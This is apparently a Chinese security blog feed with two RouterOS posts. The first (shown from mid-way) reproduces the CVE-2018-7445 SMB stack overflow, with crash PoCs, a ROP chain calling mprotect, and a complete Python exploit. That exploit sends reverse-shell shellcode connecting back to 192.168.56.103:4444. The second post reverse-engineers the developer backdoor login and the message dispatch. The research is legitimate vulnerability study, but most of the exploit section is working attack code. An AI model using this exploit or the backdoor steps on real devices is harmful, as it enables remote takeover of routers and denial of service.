<span class="n">poc</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00</span><span class="s">'</span>
<span class="n">poc</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x00\x20\x00\x00</span><span class="s">'</span>
<span class="n">sample_poc</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x81\x00\x00\x40</span><span class="s">'</span><span class="o">+</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x40</span>
</code></pre></div></div>
<p>然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n39kpnpwj20nb0cimyw.jpg" alt="" /></p>
<p>其中复制的目的地址edi为0产生崩溃,结合SMB的<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1dfacde4-b5c7-4494-8a14-a09d3ab4cc83">协议</a>,在函数调用流程中可知<code class="language-plaintext highlighter-rouge">sub_805038A</code>中,判断了message type是0x81,存储了长度然后传递空指针进入崩溃点:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n39l5jthj20h20aymxf.jpg" alt="" /></p>
<p>开始的想法是对这个位置不变的堆地址(ASLR为1)下硬件写断点,实际只能捕获到初始化为空指针的过程。配合逆向注意到程序在<code class="language-plaintext highlighter-rouge">read</code>完后,又调用函数<code class="language-plaintext highlighter-rouge">sub_8050858</code>在堆上新生成个对象保存数据内容,并在后续过程中传递使用:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n39llmtwj20k3077mxf.jpg" alt="" /></p>
<p>上图v38中保存的堆地址内容如下,其中<code class="language-plaintext highlighter-rouge">0x8076fc8+0xc</code>处就是崩溃时引用的空指针:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n39m173qj20lg07lgm8.jpg" alt="" /></p>
<p>其实崩溃处没有A相关信息,就应该想到不是message内容导致的崩溃,而很可能是在处理数据包的过程中,没有进入某处逻辑导致某变量没有初始化,最后再引用时则导致了空指针。推测是message type的原因,在<code class="language-plaintext highlighter-rouge">0x8076fc8</code>处下硬点读断点,第一处触发在<code class="language-plaintext highlighter-rouge">sub_806DB00</code>函数中,我们payload message的长度为0x40不会进入67行的逻辑:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39mq2zyj20i00ai0t9.jpg" alt="" /></p>
<p>第二次的触发点就直接是将空指针传入崩溃点的过程了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39n5ubaj20q708fwet.jpg" alt="" /></p>
<p>如果message的长度大于0x43,即会进入第一处的逻辑在函数<code class="language-plaintext highlighter-rouge">sub_80502D0</code>完成初始化操作。所以只要长度小于0x44就能稳定触发这个空指针引用的崩溃,而且该问题在最新的系统版本6.44中仍未修复,可在某些场景下造成拒绝服务攻击:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n39nrfm3j20qk0e0mzt.jpg" alt="" /></p>
<p>对于<code class="language-plaintext highlighter-rouge">sample_poc = '\x81\x00\x3e\x80'+'A'*0x3e80</code>触发的第三处崩溃,在<a href="https://gef.readthedocs.io/en/master/commands/">gef</a>中可看出是把栈打满了引发的段错误,和第二个崩溃点的可利用性一样。至于本文开始提到的可完成漏洞利用的第二个崩溃点,详见后面的小节内容:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n39oadimj20qo0azq4c.jpg" alt="" /></p>
<h1>0x02 漏洞分析</h1>
<p>紧接上文如果修改message长度为0x44,进入处理后继续执行则触发了和原文中一样的第二处崩溃,其中的eip被覆盖为非法地址,像是一个溢出漏洞而且利用的可能性很大:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n39ov8bsj20ro0f9tan.jpg" alt="" /></p>
<p>接下来需要定位溢出点,原文作者的思路是查看后端程序的输出,根据字符串定位至相关环境,然后单步执行观察栈帧和寄存器的情况确定溢出函数:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39pdg0zj20lb0eg40s.jpg" alt="" /></p>
<p>结合之前的逆向我们知道,在判断message type为0x81后先经过<code class="language-plaintext highlighter-rouge"> sub_806DB00</code>函数的初始化,随后调用<code class="language-plaintext highlighter-rouge">sub_8054A76</code>和<code class="language-plaintext highlighter-rouge">sub_8054A05</code>过程中都有传递栈地址,最后输出<code class="language-plaintext highlighter-rouge">New connection: </code>,那么问题很可能存在于后两者中,借用原文的伪代码展示<code class="language-plaintext highlighter-rouge">sub_8054A76</code>的逻辑:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n39pujybj20ej0edwen.jpg" alt="" /></p>
<p>其解析源字符串保存至栈地址上,并用<code class="language-plaintext highlighter-rouge">.</code>字符作为分隔符。按照<code class="language-plaintext highlighter-rouge"> sub_8054A76((int)&v60, (unsigned __int8 *)(v4 + 34));</code>的调用方式,源地址是message指针偏移34字节内容可控,目的地址为栈地址,解析过程中没有边界检查导致溢出,可影响前一栈帧进而覆盖eip。</p>
<p>原文说这个SMB溢出漏洞在<a href="https://mikrotik.com/download/changelogs#show-tab-tree_1-id-f156b833cd1ea7b8b66b5ff62c64c6b0">6.41.3</a>修复了,其做法是限制复制的长度只能是32字节,一种删减功能的做法:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39q9rhgj20kd09maaf.jpg" alt="" /></p>
<h1>0x03 漏洞利用</h1>
<p>这是一个比较简单的溢出漏洞,所以利用姿势比较常规,调试过程中需要注意上下文环境。程序开启的保护机制只有个NX,可使用ROP调用mprotect函数添加内存的可执行权限,系统ASLR为1,可以考虑在brk分配的heap上,也就是message中携带shellcode,mprotect后调转执行。</p>
<p>我个人比较喜欢静态地确定偏移,v60的地址为<code class="language-plaintext highlighter-rouge">ebp+var_3C</code>即向下0x40个字节可覆盖至eip,试水如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">poc</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x81\x00\x00\x68</span><span class="s">"</span> <span class="c1"># header
</span><span class="n">poc</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">34</span> <span class="c1"># padding
</span><span class="n">poc</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x44</span><span class="s">"</span> <span class="o">*</span> <span class="mi">1</span> <span class="c1"># length
</span><span class="n">poc</span> <span class="o">+=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mi">64</span> <span class="c1"># padding
</span><span class="n">poc</span> <span class="o">+=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mi">4</span> <span class="c1"># bof eip
</span><span class="n">poc</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mi">1</span> <span class="c1"># end
</span></code></pre></div></div>
<p>溢出后虽然还调用了<code class="language-plaintext highlighter-rouge">sub_8054A05</code>,但我们在漏洞利用阶段不要太拘泥于逆向分析,直接动态调试可加大效率,可知该函数对我们的payload并没有什么影响:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39rlh50j20t70czq50.jpg" alt="" /></p>
<p>ROP链的构造和原文中的大同小异,可以选择更加高效的gadget来组合,其中学到的是在vDSO中调用<code class="language-plaintext highlighter-rouge">__kernel_vsyscall</code>系统调用的汇编指令,而且该地址<a href="https://bbs.pediy.com/thread-226696.htm">不受</a>RouterOS系统中ASLR的影响,照葫芦画瓢写了下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rop</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08048eec</span><span class="p">)</span> <span class="c1"># pop eax ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7d</span><span class="p">)</span> <span class="c1"># eax -> mprotect system call
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080543e7</span><span class="p">)</span> <span class="c1"># pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7</span><span class="p">)</span> <span class="c1"># edx -> prot for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x14000</span><span class="p">)</span> <span class="c1"># ecx -> len for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08074000</span><span class="p">)</span> <span class="c1"># ebx -> addr for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># esi -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edi -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xffffe422</span><span class="p">)</span> <span class="c1"># int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edx -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ecx -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="c1"># addr for shellcode in heap
</span></code></pre></div></div>
<p>紧接着添加120字节的<code class="language-plaintext highlighter-rouge">\x90</code>作为shellcode,想看看rop中有没有被bad char影响,header中message的长度就是<code class="language-plaintext highlighter-rouge">34+1+64+64+1+120=0x11c</code>,可发送数据包后根本没有进入漏洞逻辑,调试可知在<code class="language-plaintext highlighter-rouge">read</code>数据过程中莫名奇妙地少了4个字节,讲道理程序只有一处<code class="language-plaintext highlighter-rouge">read</code>函数的触发而且count为0x10000,此处疑问只能求师傅们教教我了:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n39qxfblj20qu0fijtw.jpg" alt="" /></p>
<p>程序在处理message之前还会校验一下长度,因为接收的长度小于header中的长度,程序直接返回也就不能到达漏洞点了:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n39s0y6vj20km0783ys.jpg" alt="" /></p>
<p>这里推测可能是存在bad char或者程序逻辑和我逆向预期的不同,有一个规避的方法就是在上图中是可以使接收的数据长度大于header中的长度字段,其会根据长度字段生成一个新的message对象传递给后续函数使用。还注意到<code class="language-plaintext highlighter-rouge">read</code>接收的数据保存在堆地址上并没有释放掉,可以考虑使用其中保存的原始shellcode的固定地址:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n39su8kvj20kv0e3dh9.jpg" alt="" /></p>
<p>最终完成执行权限的添加后,查看该堆地址的内容是否有被破坏,发现虽然有所偏移但shellcode的起始地址还是固定不变的:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39sees0j20fa04odfx.jpg" alt="" /></p>
<p>综上,可以构建exploit如下,完成反弹shell的操作:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">p32</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span> <span class="p">:</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'I'</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
<span class="n">header</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x81\x00\x01\x1c</span><span class="s">"</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">34</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x80</span><span class="s">"</span> <span class="o">+</span> <span class="s">"B"</span><span class="o">*</span><span class="mi">64</span>
<span class="n">rop</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08048eec</span><span class="p">)</span> <span class="c1"># pop eax ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7d</span><span class="p">)</span> <span class="c1"># eax -> mprotect system call
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080543e7</span><span class="p">)</span> <span class="c1"># pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x7</span><span class="p">)</span> <span class="c1"># edx -> prot for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x14000</span><span class="p">)</span> <span class="c1"># ecx -> len for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08074000</span><span class="p">)</span> <span class="c1"># ebx -> addr for mprotect
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># esi -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edi -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xffffe422</span><span class="p">)</span> <span class="c1"># int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ebp -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># edx -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x90909090</span><span class="p">)</span> <span class="c1"># ecx -> junk
</span><span class="n">rop</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x080778e0</span><span class="p">)</span> <span class="c1"># addr for shellcode in heap
</span>
<span class="n">end</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
<span class="c1"># msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f python -v shellcode
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x68\xc0\xa8\x38\x67\x68\x02\x00\x11\x5c\x89\xe1</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x53\x89\xe1\xb0\x0b\xcd\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">120</span><span class="o">+</span><span class="mi">40</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="n">header</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">rop</span> <span class="o">+</span> <span class="n">end</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="s">'192.168.56.102'</span><span class="p">,</span> <span class="mi">445</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n39ta4hnj20kc04374o.jpg" alt="" /></p>
<h1>0x04 总结反思</h1>
<ol>
<li>调试有方法:在根据crash定位问题点,和判断crash的可利用性时,通常考察的是调试的技巧和思路,需要增强相关的系统知识才能更高效。</li>
<li>利用与逆向:在定位至漏洞点并确定利用方案后,虽然逆向必不可少但也不能太钻牛角尖,忽视了漏洞利用的最终目的。</li>
<li>利用精简化:本文的利用还是靠着固定堆地址,程序中应该还有一个固定堆地址是可利用的,但应该还有堆喷和上下文相关的更加精简优雅的利用方式,感兴趣可以探究下。</li>
<li>深入实地里:漏洞看起来简单实践起来终归是能学到东西的,脚踏实地的话,RouterOS的<a href="https://blog.seekintoo.com/chimay-red.html">这个</a>整数溢出的利用还是很有意思的。</li>
</ol>
Larryxi
0x00 前言少叙 在Finding and exploiting CVE-2018-7445这篇文章中,作者使用Mutiny Fuzzer,将对SMB服务发送的初始化数据包进行dumb变异,发现崩溃进行调试后完成漏洞利用。刚好之前对RouterOS逆向分析过一段时间,本文就针对6.38.4的版本复现利用,并对一些文章中没有提到的点略作探究。
Make It Clear with RouterOS
2019-03-07T00:00:00+00:00
2019-03-07T00:00:00+00:00
https://larryxi.github.io/2019/03/07/make-it-clear-with-routeros
<h1>0x00 再续前言</h1>
<p>天才少年“Diveing to the deep water”的<a href="https://github.com/j0nathanj/Publications/blob/master/35C3_From_Zero_to_Zero_Day/From_Zero_to_Zero_Day.pdf">言论</a>让我打了个机灵,于是想看看大型一点的IoT项目上的安全问题,就这样我和<a href="https://github.com/tenable/routeros/blob/master/bug_hunting_in_routeros_derbycon_2018.pdf">Bug Hunting in RouterOS</a>相遇了。议题中介绍了RouterOS的版本架构、历史研究和开发者后门,作者通过对通信解析的逆向介绍了客户端命令传递至后端的处理过程,最后组合漏洞链完成RCE的利用。不久之后,作者还写了<a href="https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6">一篇</a>文章蜻蜓点水地补充了一点小细节和提供了利用开发的架构工具,也有同学对整个议题的内容深入<a href="https://www.anquanke.com/post/id/162457">分析</a>了一番。</p>
<!-- more -->
<p>但我向来是一个喜欢知道为什么的人,而且如果要深入<a href="https://www.anquanke.com/post/id/146857">挖掘</a>的话,作者没有多讲的逆向过程还是需要我们自己上下求索的,本文结合开发者后门提供的便利调试环境,主要对后端命令的分发过程和议题中触发漏洞message的字段处理及漏洞修复进行了逆向分析,而通信流量的编码和加解密过程以及Web端调用后台程序的过程需花另一篇幅逆向介绍,还请各位大拿海涵。</p>
<h1>0x01 探索后门</h1>
<p>议题PPT中上来就介绍如何开启开发者“后门”,这一步其实为了方便后续的调试与逆向,因为stable的不同<a href="https://mikrotik.com/download/archive">版本</a>使开启方法略有不同,本小节以6.38.4和6.42.4为例简要介绍下方法,环境的搭建可自行<a href="https://www.cnblogs.com/v5captain/p/9445700.html">搜索</a>。</p>
<h2>6.38.4</h2>
<p>下载<a href="https://download.mikrotik.com/routeros/6.38.4/routeros-x86-6.38.4.npk">routeros-x86-6.38.4.npk</a>,binwalk解包即可看到squashfs-root的文件系统。需要开启后门的话,按照<a href="https://github.com/tenable/routeros/blob/master/bug_hunting_in_routeros_derbycon_2018.pdf">PPT</a>中的说法,需要在原始的文件系统<code class="language-plaintext highlighter-rouge">here/flash/nova/etc/</code>下新建一个<code class="language-plaintext highlighter-rouge">devel-login</code>文件。做法是使用centos的镜像安全启动原RouterOS系统,自动或手动挂载文件系统,新建至根目录的软链接:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2ydjucdj20k10ap74p.jpg" alt="" /></p>
<p>顺便简要看一下在<code class="language-plaintext highlighter-rouge">/nova/bin/login</code>处理用户登录过程中存在开发者后门的原因,在程序初始化的过程中有一点判断用户名是否为<code class="language-plaintext highlighter-rouge">devel</code>的逻辑,如果是且通过<code class="language-plaintext highlighter-rouge">sub_804E052</code>函数的判断则把用户名更换为admin:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2ye6g7xj20lb0bkaav.jpg" alt="" /></p>
<p>继续跟进函数中,有目录的拼接并判断特殊文件是否存在:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n2yel2d1j20j80dt0tj.jpg" alt="" /></p>
<p><code class="language-plaintext highlighter-rouge">nv::getAllDirs</code>对搜索的目录有简单的包装,如此可知如果使用ftp上传,使<code class="language-plaintext highlighter-rouge">/flash/nova/etc/devel-login</code>文件存在就能通过校验:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n2yhy2xbj20j30kfdh9.jpg" alt="" /></p>
<p>所以当我们使用devel用户名和admin的密码登录成功后,即可获取到返回的shell:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n2yijv8ij20iz04yjri.jpg" alt="" /></p>
<p>自带的shell还是功能受限的busybox,这时候可以利用同样的思路,ftp上传一个功能齐全的busybox(不能太新不然会段错误),加权限后即可大展身手了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yj6fg7j20k10c0wkt.jpg" alt="" /></p>
<h2>6.42.4</h2>
<p>对于<a href="https://download.mikrotik.com/routeros/6.42.4/routeros-x86-6.42.4.npk">6.42.4</a>这样的高版本系统,作者在<a href="https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6">Make It Rain with MikroTik</a>文章中提到了RouterOS会在系统的启动脚本<code class="language-plaintext highlighter-rouge">S12defconf</code>中执行<code class="language-plaintext highlighter-rouge">/rw/DEFCONF</code>的文件内容,控制该文件就能开启后门shell了,原文中专门录屏展示整个开telnetd的过程,此处不赘述。</p>
<h1>0x02 流量解密</h1>
<p>首先查看监听的端口来寻找可能存在的攻击面,80端口自然是第一考察对象:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2ylc34ej20q5091q9i.jpg" alt="" /></p>
<p>Web口登录过程中使用<code class="language-plaintext highlighter-rouge">Content-Type: text/plain;charset=UTF-8</code> Header,认证成功之后使用<code class="language-plaintext highlighter-rouge">Content-Type: msg</code>,并且从抓包上看都是向<code class="language-plaintext highlighter-rouge">/jsproxy</code> POST加密过后的数据包。正如PPT所讲整个过程可在客户端的<code class="language-plaintext highlighter-rouge">/webfig/master-min-xxxxxxxxxxxx.js</code>中知晓,认证和会话密钥的生成用的是<a href="https://tools.ietf.org/html/rfc3079#page-9">MS-CHAP-2</a>协议,但在<a href="https://tools.ietf.org/html/rfc2759#section-8.5">ChallengeResponse</a>时对PasswordHash的padding做了些更改:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2ylwaprj20yt0gpq50.jpg" alt="" /></p>
<p>在认证过程中使用的编码是UTF-8,可以在前端调试或者后端找到相应的处理逻辑:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n2ymawuzj20rh0a9gm5.jpg" alt="" /></p>
<p>登录成功之后,前端至后端的message以buffer或json的形式传递,其字段值的类型还会对字段名的类型和编码有影响,同样也可以在前端代码中略见:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2ynccwbj20ji0bo752.jpg" alt="" /></p>
<p>对于<a href="https://wiki.mikrotik.com/wiki/Manual:Winbox">WinBox</a>通信的binary形式的message的格式也是类似的。作者提供了<a href="https://github.com/tenable/routeros/tree/master/jsproxy_pcap_parser">jsproxy_pcap_parser</a>和<a href="https://github.com/tenable/routeros/tree/master/winbox_pcap_parser">winbox_pcap_parser</a>工具分别解析这两者的流量,就让我们先站在巨人的肩膀上,以后有机会再结合前后端对流量的包装进行详解。</p>
<h1>0x03 消息处理</h1>
<p>消息流量的传递处理对于后端程序来说有些RPC的意味,<code class="language-plaintext highlighter-rouge">0xff0001</code>数组中的system num决定调用哪个二进制文件,数组中的handler指定了处理函数,还有<code class="language-plaintext highlighter-rouge">0xff0007</code>字段的command则代表具体要执行的命令,下面分别对<code class="language-plaintext highlighter-rouge">/nova/bin/www</code>和<code class="language-plaintext highlighter-rouge">/nova/bin/mproxy</code>程序的消息处理过程进行逆向。</p>
<h2>/nova/bin/www</h2>
<p>PPT中提到<code class="language-plaintext highlighter-rouge">/nova/bin</code>下面的二进制文件都可以通过HTTP或Winbox来触发到,CVE-2018-1156的<a href="https://github.com/tenable/routeros/tree/master/poc/cve_2018_1156">PoC</a>也是如此,向<code class="language-plaintext highlighter-rouge">/jsproxy</code> POST json信息的sysyetm num为55,对应地起后端程序<code class="language-plaintext highlighter-rouge">/nova/bin/licupgr</code>处理。</p>
<p>在<code class="language-plaintext highlighter-rouge">/nova/bin/www</code>程序中对于有<code class="language-plaintext highlighter-rouge">/jsproxy</code>的请求,其会先将<code class="language-plaintext highlighter-rouge">/nova/lib/www/jsproxy.p</code>作为Servlet进行动态加载:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2ynx97bj20of0cjq3y.jpg" alt="" /></p>
<p>在<code class="language-plaintext highlighter-rouge">JSProxyServlet::JSProxyServlet</code>的初始化过程中,找到虚表中的<code class="language-plaintext highlighter-rouge">JSProxyServlet::doPost</code>为处理POST请求函数,在具体判断<code class="language-plaintext highlighter-rouge">Content-Type</code> Header的内容后传递至<code class="language-plaintext highlighter-rouge">JSSession::processMessage</code>,通过调试可知解密完消息后传递至<code class="language-plaintext highlighter-rouge">threadExchangeMessage </code>函数,在线程间通过信号量传递消息:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yofrgkj20z60ao75j.jpg" alt="" /></p>
<p>而在www程序<code class="language-plaintext highlighter-rouge">Looper::Looper</code>初始化过程中,有对<code class="language-plaintext highlighter-rouge">/ram/novasock</code>的socket添加:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yox4goj20mv0ch756.jpg" alt="" /></p>
<p>所以推测<code class="language-plaintext highlighter-rouge">/nova/bin/www</code>对<code class="language-plaintext highlighter-rouge">/jsproxy</code>传递来的消息,会通过<code class="language-plaintext highlighter-rouge">/ram/novasock</code>传递给<code class="language-plaintext highlighter-rouge">/nova/bin/loader</code>,由后者根据对<code class="language-plaintext highlighter-rouge">/nova/etc/loader/system.x3</code>的解析来调用后端程序处理:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2ypoq1aj20n208x7af.jpg" alt="" /></p>
<p>综上只是结合调试信息,对由system num调用后端程序的过程进行了大致推理,作者还提供了<a href="https://github.com/tenable/routeros/tree/master/parse_x3">parse_x3</a>工具来解析系统号对应的程序,感兴趣的同学可以深入跟踪分析下。而消息中的handler和command会在新起的程序中处理,下小节以<code class="language-plaintext highlighter-rouge">/nova/bin/mproxy</code>为例进行分析。</p>
<h2>/nova/bin/mproxy</h2>
<p><code class="language-plaintext highlighter-rouge">mproxy</code>直接监听的是8291端口,虽然没有<code class="language-plaintext highlighter-rouge">loader</code>分发命令的过程,但其处理消息的流程和其他后端程序类似。这里依旧使用CVE-2018-14847的<a href="https://github.com/tenable/routeros/tree/master/poc/cve_2018_14847">PoC</a>构建调用命令,查看<a href="https://github.com/tenable/routeros/tree/master/winbox_pcap_parser">解密</a>后传递的message:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n2yq5qvhj20ke04fmxt.jpg" alt="" /></p>
<p>然后在PPT中提到的漏洞触发点下断点,进行栈回溯即可快速看到整个的调用链:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yr2s3wj20q507mgm5.jpg" alt="" /></p>
<p>跟踪可知在函数<code class="language-plaintext highlighter-rouge">sub_8055048</code>处判断system number是否为2:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yqnvoij20q306lwgy.jpg" alt="" /></p>
